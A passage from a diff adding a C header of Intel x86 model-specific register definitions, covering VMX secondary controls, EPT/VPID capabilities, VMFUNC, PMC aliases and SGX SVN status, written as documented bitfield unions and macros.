IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_FLAG 0x08 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP(_) (((_) >> 3) & 0x01) + + /** + * @brief Virtualize x2APIC mode + * + * [Bit 4] If this control is 1, the logical processor treats specially RDMSR and WRMSR to APIC MSRs (in the range + * 800H-8FFH). + * + * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] + */ + uint64_t virtualize_x2apic_mode : 1; +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_BIT 4 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_FLAG 0x10 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE(_) (((_) >> 4) & 0x01) + + /** + * @brief VPID supported/enabled + * + * [Bit 5] If this control is 1, cached translations of linear addresses are associated with a virtualprocessor identifier + * (VPID). + * + * @see Vol3C[28.1(VIRTUAL PROCESSOR IDENTIFIERS (VPIDS))] + */ + uint64_t enable_vpid : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_BIT 5 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_FLAG 0x20 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID(_) (((_) >> 5) & 0x01) + + /** + * @brief VM-exit when executing the WBINVD instruction + * + * [Bit 6] This control determines whether executions of WBINVD cause VM exits. + */ + uint64_t wbinvd_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_BIT 6 +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_FLAG 0x40 +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING(_) (((_) >> 6) & 0x01) + + /** + * @brief Unrestricted guest execution + * + * [Bit 7] This control determines whether guest software may run in unpaged protected mode or in realaddress mode. + */ + uint64_t unrestricted_guest : 1; +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_BIT 7 +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_FLAG 0x80 +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST(_) (((_) >> 7) & 0x01) + + /** + * @brief APIC register virtualization + * + * [Bit 8] If this control is 1, the logical processor virtualizes certain APIC accesses. + * + * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] + * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] + */ + uint64_t apic_register_virtualization : 1; +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_BIT 8 +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_FLAG 0x100 +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION(_) (((_) >> 8) & 0x01) + + /** + * @brief Virtual-interrupt delivery + * + * [Bit 9] This controls enables the evaluation and delivery of pending virtual interrupts as well as the emulation of + * writes to the APIC registers that control interrupt prioritization. + */ + uint64_t virtual_interrupt_delivery : 1; +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_BIT 9 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_FLAG 0x200 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY(_) (((_) >> 9) & 0x01) + + /** + * @brief A specified number of pause loops cause a VM-exit + * + * [Bit 10] This control determines whether a series of executions of PAUSE can cause a VM exit. + * + * @see Vol3C[24.6.13(Controls for PAUSE-Loop Exiting)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t pause_loop_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_BIT 10 +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_FLAG 0x400 +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING(_) (((_) >> 10) & 0x01) + + /** + * @brief VM-exit when executing RDRAND instructions + * + * [Bit 11] This control determines whether executions of RDRAND cause VM exits. + */ + uint64_t rdrand_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_BIT 11 +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_FLAG 0x800 +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING(_) (((_) >> 11) & 0x01) + + /** + * @brief Enables INVPCID instructions + * + * [Bit 12] If this control is 0, any execution of INVPCID causes a \#UD. + */ + uint64_t enable_invpcid : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_BIT 12 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_FLAG 0x1000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID(_) (((_) >> 12) & 0x01) + + /** + * @brief Enables VMFUNC instructions + * + * [Bit 13] Setting this control to 1 enables use of the VMFUNC instruction in VMX non-root operation. + * + * @see Vol3C[25.5.5(VM Functions)] + */ + uint64_t enable_vm_functions : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_BIT 13 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_FLAG 0x2000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS(_) (((_) >> 13) & 0x01) + + /** + * @brief Enables VMCS shadowing + * + * [Bit 14] If this control is 1, executions of VMREAD and VMWRITE in VMX non-root operation may access a shadow VMCS + * (instead of causing VM exits). + * + * @see {'Vol3C[24.10(VMCS TYPES': 'ORDINARY AND SHADOW)]'} + * @see Vol3C[30.3(VMX INSTRUCTIONS)] + */ + uint64_t vmcs_shadowing : 1; +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_BIT 14 +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_FLAG 0x4000 +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING(_) (((_) >> 14) & 0x01) + + /** + * @brief Enables ENCLS VM-exits + * + * [Bit 15] If this control is 1, executions of ENCLS consult the ENCLS-exiting bitmap to determine whether the instruction + * causes a VM exit. + * + * @see Vol3C[24.6.16(ENCLS-Exiting Bitmap)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t enable_encls_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_BIT 15 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_FLAG 0x8000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING(_) (((_) >> 15) & 0x01) + + /** + * @brief VM-exit when executing RDSEED + * + * [Bit 16] This control determines whether executions of RDSEED cause VM exits. + */ + uint64_t rdseed_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_BIT 16 +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_FLAG 0x10000 +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING(_) (((_) >> 16) & 0x01) + + /** + * @brief Enables page-modification logging + * + * [Bit 17] If this control is 1, an access to a guest-physical address that sets an EPT dirty bit first adds an entry to + * the page-modification log. + * + * @see Vol3C[28.2.5(Page-Modification Logging)] + */ + uint64_t enable_pml : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_BIT 17 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_FLAG 0x20000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML(_) (((_) >> 17) & 0x01) + + /** + * @brief Controls whether EPT-violations may cause + * + * [Bit 18] If this control is 1, EPT violations may cause virtualization exceptions (\#VE) instead of VM exits. + * + * @see Vol3C[25.5.6(Virtualization Exceptions)] + */ + uint64_t ept_violation : 1; +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_BIT 18 +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_FLAG 0x40000 +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION(_) (((_) >> 18) & 0x01) + + /** + * @brief Conceal VMX non-root operation from Intel processor trace (PT) + * + * [Bit 19] If this control is 1, Intel Processor Trace suppresses from PIPs an indication that the processor was in VMX + * non-root operation and omits a VMCS packet from any PSB+ produced in VMX nonroot operation. + * + * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] + */ + uint64_t conceal_vmx_from_pt : 1; +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_BIT 19 +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_FLAG 0x80000 +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT(_) (((_) >> 19) & 0x01) + + /** + * @brief Enables XSAVES/XRSTORS instructions + * + * [Bit 20] If this control is 0, any execution of XSAVES or XRSTORS causes a \#UD. + */ + uint64_t enable_xsaves : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_BIT 20 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_FLAG 0x100000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES(_) (((_) >> 20) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 22] If this control is 1, EPT execute permissions are based on whether the linear address being accessed is + * supervisor mode or user mode. + * + * @see Vol3C[28(VMX SUPPORT FOR ADDRESS TRANSLATION)] + */ + uint64_t mode_based_execute_control_for_ept : 1; +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_BIT 22 +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_FLAG 0x400000 +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT(_) (((_) >> 22) & 0x01) + uint64_t reserved2 : 2; + + /** + * @brief Use TSC scaling + * + * [Bit 25] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read + * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC multiplier field. + * + * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + */ + uint64_t use_tsc_scaling : 1; +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_BIT 25 +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_FLAG 0x2000000 +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING(_) (((_) >> 25) & 0x01) + uint64_t reserved3 : 38; + }; + + uint64_t flags; +} ia32_vmx_procbased_ctls2_register; + + +/** + * Capability Reporting Register of EPT and VPID. + * + * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] && (IA32_VMX_PROCBASED_CTLS2[33] || + * IA32_VMX_PROCBASED_CTLS2[37]) ) + * @see Vol3D[A.10(VPID AND EPT CAPABILITIES)] + * @see Vol3D[A.10(VPID and EPT Capabilities)] (reference) + */ +#define IA32_VMX_EPT_VPID_CAP 0x0000048C +typedef union +{ + struct + { + /** + * [Bit 0] When set to 1, the processor supports execute-only translations by EPT. This support allows software to + * configure EPT paging-structure entries in which bits 1:0 are clear (indicating that data accesses are not allowed) and + * bit 2 is set (indicating that instruction fetches are allowed). + */ + uint64_t execute_only_pages : 1; +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_BIT 0 +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_FLAG 0x01 +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_EXECUTE_ONLY_PAGES(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 6] Indicates support for a page-walk length of 4. + */ + uint64_t page_walk_length_4 : 1; +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_BIT 6 +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_FLAG 0x40 +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_PAGE_WALK_LENGTH_4(_) (((_) >> 6) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 8] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be + * uncacheable (UC). + * + * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP))] + */ + uint64_t memory_type_uncacheable : 1; +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_BIT 8 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_FLAG 0x100 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_UNCACHEABLE(_) (((_) >> 8) & 0x01) + uint64_t reserved3 : 5; + + /** + * [Bit 14] When set to 1, the logical processor allows software to configure the EPT paging-structure memory type to be + * write-back (WB). + */ + uint64_t memory_type_write_back : 1; +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_BIT 14 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_FLAG 0x4000 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_MEMORY_TYPE_WRITE_BACK(_) (((_) >> 14) & 0x01) + uint64_t reserved4 : 1; + + /** + * [Bit 16] When set to 1, the logical processor allows software to configure a EPT PDE to map a 2-Mbyte page (by setting + * bit 7 in the EPT PDE). + */ + uint64_t pde_2mb_pages : 1; +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_BIT 16 +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_FLAG 0x10000 +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_PDE_2MB_PAGES(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] When set to 1, the logical processor allows software to configure a EPT PDPTE to map a 1-Gbyte page (by setting + * bit 7 in the EPT PDPTE). + */ + uint64_t pdpte_1gb_pages : 1; +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_BIT 17 +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_FLAG 0x20000 +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_PDPTE_1GB_PAGES(_) (((_) >> 17) & 0x01) + uint64_t reserved5 : 2; + + /** + * [Bit 20] If bit 20 is read as 1, the INVEPT instruction is supported. + * + * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] + * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] + */ + uint64_t invept : 1; +#define IA32_VMX_EPT_VPID_CAP_INVEPT_BIT 20 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_FLAG 0x100000 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVEPT(_) (((_) >> 20) & 0x01) + + /** + * [Bit 21] When set to 1, accessed and dirty flags for EPT are supported. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t ept_accessed_and_dirty_flags : 1; +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_BIT 21 +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_FLAG 0x200000 +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_EPT_ACCESSED_AND_DIRTY_FLAGS(_) (((_) >> 21) & 0x01) + + /** + * [Bit 22] When set to 1, the processor reports advanced VM-exit information for EPT violations. This reporting is done + * only if this bit is read as 1. + * + * @see Vol3C[27.2.1(Basic VM-Exit Information)] + */ + uint64_t advanced_vmexit_ept_violations_information : 1; +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_BIT 22 +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_FLAG 0x400000 +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_ADVANCED_VMEXIT_EPT_VIOLATIONS_INFORMATION(_) (((_) >> 22) & 0x01) + uint64_t reserved6 : 2; + + /** + * [Bit 25] When set to 1, the single-context INVEPT type is supported. + * + * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] + * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] + */ + uint64_t invept_single_context : 1; +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_BIT 25 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_FLAG 0x2000000 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_SINGLE_CONTEXT(_) (((_) >> 25) & 0x01) + + /** + * [Bit 26] When set to 1, the all-context INVEPT type is supported. + * + * @see Vol3C[30(VMX INSTRUCTION REFERENCE)] + * @see Vol3C[28.3.3.1(Operations that Invalidate Cached Mappings)] + */ + uint64_t invept_all_contexts : 1; +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_BIT 26 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_FLAG 0x4000000 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVEPT_ALL_CONTEXTS(_) (((_) >> 26) & 0x01) + uint64_t reserved7 : 5; + + /** + * [Bit 32] When set to 1, the INVVPID instruction is supported. + */ + uint64_t invvpid : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_BIT 32 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_FLAG 0x100000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID(_) (((_) >> 32) & 0x01) + uint64_t reserved8 : 7; + + /** + * [Bit 40] When set to 1, the individual-address INVVPID type is supported. + */ + uint64_t invvpid_individual_address : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_BIT 40 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_FLAG 0x10000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_INDIVIDUAL_ADDRESS(_) (((_) >> 40) & 0x01) + + /** + * [Bit 41] When set to 1, the single-context INVVPID type is supported. + */ + uint64_t invvpid_single_context : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_BIT 41 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_FLAG 0x20000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT(_) (((_) >> 41) & 0x01) + + /** + * [Bit 42] When set to 1, the all-context INVVPID type is supported. + */ + uint64_t invvpid_all_contexts : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_BIT 42 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_FLAG 0x40000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_ALL_CONTEXTS(_) (((_) >> 42) & 0x01) + + /** + * [Bit 43] When set to 1, the single-context-retaining-globals INVVPID type is supported. + */ + uint64_t invvpid_single_context_retain_globals : 1; +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_BIT 43 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_FLAG 0x80000000000 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS_MASK 0x01 +#define IA32_VMX_EPT_VPID_CAP_INVVPID_SINGLE_CONTEXT_RETAIN_GLOBALS(_) (((_) >> 43) & 0x01) + uint64_t reserved9 : 20; + }; + + uint64_t flags; +} ia32_vmx_ept_vpid_cap_register; + +/** + * @defgroup ia32_vmx_true_ctls \ + * IA32_VMX_TRUE_(x)_CTLS + * + * Capability Reporting Register of Pin-Based VM-Execution Flex Controls, Primary Processor-Based VM-Execution Flex + * Controls, VM-Exit Flex Controls and VM-Entry Flex Controls. + * + * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) + * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] + * @see Vol3D[A.4(VM-EXIT CONTROLS)] + * @see Vol3D[A.5(VM-ENTRY CONTROLS)] + * @see Vol3D[A.3.1(Pin-Based VMExecution Controls)] (reference) + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] (reference) + * @see Vol3D[A.4(VM-Exit Controls)] (reference) + * @see Vol3D[A.5(VM-Entry Controls)] (reference) + * @{ + */ +#define IA32_VMX_TRUE_PINBASED_CTLS 0x0000048D +#define IA32_VMX_TRUE_PROCBASED_CTLS 0x0000048E +#define IA32_VMX_TRUE_EXIT_CTLS 0x0000048F +#define IA32_VMX_TRUE_ENTRY_CTLS 0x00000490 +typedef union +{ + struct + { + /** + * [Bits 31:0] Indicate the allowed 0-settings of these controls. VM entry allows control X to be 0 if bit X in the MSR is + * cleared to 0; if bit X in the MSR is set to 1, VM entry fails if control X is 0. + */ + uint64_t allowed_0_settings : 32; +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_BIT 0 +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_FLAG 0xFFFFFFFF +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS_MASK 0xFFFFFFFF +#define IA32_VMX_TRUE_CTLS_ALLOWED_0_SETTINGS(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 63:32] Indicate the allowed 1-settings of these controls. VM entry allows control X to be 1 if bit 32+X in the MSR + * is set to 1; if bit 32+X in the MSR is cleared to 0, VM entry fails if control X is 1. + */ + uint64_t allowed_1_settings : 32; +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_BIT 32 +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_FLAG 0xFFFFFFFF00000000 +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS_MASK 0xFFFFFFFF +#define IA32_VMX_TRUE_CTLS_ALLOWED_1_SETTINGS(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_vmx_true_ctls_register; + +/** + * @} + */ + + + /** + * Capability Reporting Register of VMFunction Controls. + * + * @remarks If ( CPUID.01H:ECX.[5] = 1 && IA32_VMX_BASIC[55] ) + * @see Vol3D[A.11(VM FUNCTIONS)] + * @see Vol3D[24.6.14(VM-Function Controls)] (reference) + */ +#define IA32_VMX_VMFUNC 0x00000491 +typedef union +{ + struct + { + /** + * [Bit 0] The EPTP-switching VM function changes the EPT pointer to a value chosen from the EPTP list. + * + * @see Vol3C[25.5.5.3(EPTP Switching)] + */ + uint64_t eptp_switching : 1; +#define IA32_VMX_VMFUNC_EPTP_SWITCHING_BIT 0 +#define IA32_VMX_VMFUNC_EPTP_SWITCHING_FLAG 0x01 +#define IA32_VMX_VMFUNC_EPTP_SWITCHING_MASK 0x01 +#define IA32_VMX_VMFUNC_EPTP_SWITCHING(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_vmx_vmfunc_register; + +/** + * @defgroup ia32_a_pmc \ + * IA32_A_PMC(n) + * + * Full Width Writable IA32_PMC(n) Alias. + * + * @remarks (If CPUID.0AH: EAX[15:8] > 0) && IA32_PERF_CAPABILITIES[13] = 1 + * @{ + */ +#define IA32_A_PMC0 0x000004C1 +#define IA32_A_PMC1 0x000004C2 +#define IA32_A_PMC2 0x000004C3 +#define IA32_A_PMC3 0x000004C4 +#define IA32_A_PMC4 0x000004C5 +#define IA32_A_PMC5 0x000004C6 +#define IA32_A_PMC6 0x000004C7 +#define IA32_A_PMC7 0x000004C8 + /** + * @} + */ + + + /** + * Allows software to signal some MCEs to only a single logical processor in the system. + * + * @remarks If IA32_MCG_CAP.LMCE_P = 1 + * @see Vol3B[15.3.1.4(IA32_MCG_EXT_CTL MSR)] + */ +#define IA32_MCG_EXT_CTL 0x000004D0 +typedef union +{ + struct + { + uint64_t lmce_en : 1; +#define IA32_MCG_EXT_CTL_LMCE_EN_BIT 0 +#define IA32_MCG_EXT_CTL_LMCE_EN_FLAG 0x01 +#define IA32_MCG_EXT_CTL_LMCE_EN_MASK 0x01 +#define IA32_MCG_EXT_CTL_LMCE_EN(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_mcg_ext_ctl_register; + + +/** + * @brief Status and SVN Threshold of SGX Support for ACM (RO) + * + * Intel SGX only allows launching ACMs with an Intel SGX SVN that is at the same level or higher than the expected Intel + * SGX SVN. The expected Intel SGX SVN is specified by BIOS and locked down by the processor on the first successful + * execution of an Intel SGX instruction that doesn't return an error code. Intel SGX provides interfaces for system + * software to discover whether a non faulting Intel SGX instruction has been executed, and evaluate the suitability of the + * Intel SGX SVN value of any ACM that is expected to be launched by the OS or the VMM. + * + * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 + * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] (reference) + */ +#define IA32_SGX_SVN_STATUS 0x00000500 +typedef union +{ + struct + { + /** + * [Bit 0] - If 1, indicates that a non-faulting Intel SGX instruction has been executed, consequently, launching a + * properly signed ACM but with Intel SGX SVN value less than the BIOS specified Intel SGX SVN threshold would lead to an + * TXT shutdown. + * - If 0, indicates that the processor will allow a properly signed ACM to launch irrespective of the Intel SGX SVN value + * of the ACM. + * + * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] + */ + uint64_t lock : 1; +#define IA32_SGX_SVN_STATUS_LOCK_BIT 0 +#define IA32_SGX_SVN_STATUS_LOCK_FLAG 0x01 +#define IA32_SGX_SVN_STATUS_LOCK_MASK 0x01 +#define IA32_SGX_SVN_STATUS_LOCK(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 15; + + /** + * @brief Reflects the expected threshold of Intel SGX SVN for the SINIT ACM + * + * [Bits 23:16] - If CPUID.01H:ECX.SMX = 1, this field reflects the expected threshold of Intel SGX SVN for the SINIT ACM. + * - If CPUID.01H:ECX.SMX = 0, this field is reserved (0). + * + * @see Vol3D[41.11.3(Interactions with Authenticated Code Modules (ACMs))] + */ + uint64_t sgx_svn_sinit : 8; +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_BIT 16 +#define IA32_SGX_SVN_STATUS_SGX_SVN_SINIT_FLAG 0xFF0000 +#define 